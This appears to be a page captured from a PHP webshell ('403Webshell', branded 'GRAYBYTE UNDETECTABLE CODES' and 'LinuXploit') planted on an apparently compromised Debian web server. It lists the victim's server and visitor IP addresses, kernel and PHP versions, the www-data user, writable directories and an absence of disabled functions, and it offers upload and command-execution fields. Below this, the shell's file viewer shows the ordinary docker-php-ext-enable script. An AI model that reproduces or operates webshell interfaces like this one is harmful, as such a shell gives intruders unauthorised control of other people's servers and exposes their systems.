- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 170.150.155.74  /  Your IP : 18.225.209.24
Web Server : Apache/2.4.53 (Debian)
System : Linux b22bf132354b 5.4.0-162-generic #179-Ubuntu SMP Mon Aug 14 08:51:31 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/local/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/bin/docker-php-ext-enable
#!/bin/sh
set -e

extDir="$(php -d 'display_errors=stderr' -r 'echo ini_get("extension_dir");')"
cd "$extDir"

usage() {
	echo "usage: $0 [options] module-name [module-name ...]"
	echo "   ie: $0 gd mysqli"
	echo "       $0 pdo pdo_mysql"
	echo "       $0 --ini-name 0-apc.ini apcu apc"
	echo
	echo 'Possible values for module-name:'
	find -maxdepth 1 \
			-type f \
			-name '*.so' \
			-exec basename '{}' ';' \
		| sort \
		| xargs
	echo
	echo 'Some of the above modules are already compiled into PHP; please check'
	echo 'the output of "php -i" to see which modules are already loaded.'
}

opts="$(getopt -o 'h?' --long 'help,ini-name:' -- "$@" || { usage >&2 && false; })"
eval set -- "$opts"

iniName=
while true; do
	flag="$1"
	shift
	case "$flag" in
		--help|-h|'-?') usage && exit 0 ;;
		--ini-name) iniName="$1" && shift ;;
		--) break ;;
		*)
			{
				echo "error: unknown flag: $flag"
				usage
			} >&2
			exit 1
			;;
	esac
done

modules=
for module; do
	if [ -z "$module" ]; then
		continue
	fi
	if ! [ -f "$module" ] && ! [ -f "$module.so" ]; then
		echo >&2 "error: '$module' does not exist"
		echo >&2
		usage >&2
		exit 1
	fi
	modules="$modules $module"
done

if [ -z "$modules" ]; then
	usage >&2
	exit 1
fi

pm='unknown'
if [ -e /lib/apk/db/installed ]; then
	pm='apk'
fi

apkDel=
if [ "$pm" = 'apk' ]; then
	if \
		[ -n "$PHPIZE_DEPS" ] \
		&& ! apk info --installed .phpize-deps > /dev/null \
		&& ! apk info --installed .phpize-deps-configure > /dev/null \
	; then
		apk add --no-cache --virtual '.docker-php-ext-enable-deps' binutils
		apkDel='.docker-php-ext-enable-deps'
	fi
fi

for module in $modules; do
	moduleFile="$module"
	if [ -f "$module.so" ] && ! [ -f "$module" ]; then
		moduleFile="$module.so"
	fi
	if readelf --wide --syms "$moduleFile" | grep -q ' zend_extension_entry$'; then
		# https://wiki.php.net/internals/extensions#loading_zend_extensions
		line="zend_extension=$module"
	else
		line="extension=$module"
	fi

	ext="$(basename "$module")"
	ext="${ext%.*}"
	if php -d 'display_errors=stderr' -r 'exit(extension_loaded("'"$ext"'") ? 0 : 1);'; then
		# this isn't perfect, but it's better than nothing
		# (for example, 'opcache.so' presents inside PHP as 'Zend OPcache', not 'opcache')
		echo >&2
		echo >&2 "warning: $ext ($module) is already loaded!"
		echo >&2
		continue
	fi

	case "$iniName" in
		/*)
			# allow an absolute path
			ini="$iniName"
			;;
		*)
			ini="$PHP_INI_DIR/conf.d/${iniName:-"docker-php-ext-$ext.ini"}"
			;;
	esac
	if ! grep -qFx -e "$line" -e "$line.so" "$ini" 2>/dev/null; then
		echo "$line" >> "$ini"
	fi
done

if [ "$pm" = 'apk' ] && [ -n "$apkDel" ]; then
	apk del --no-network $apkDel
fi

Youez - 2016 - github.com/yon3zu
LinuXploit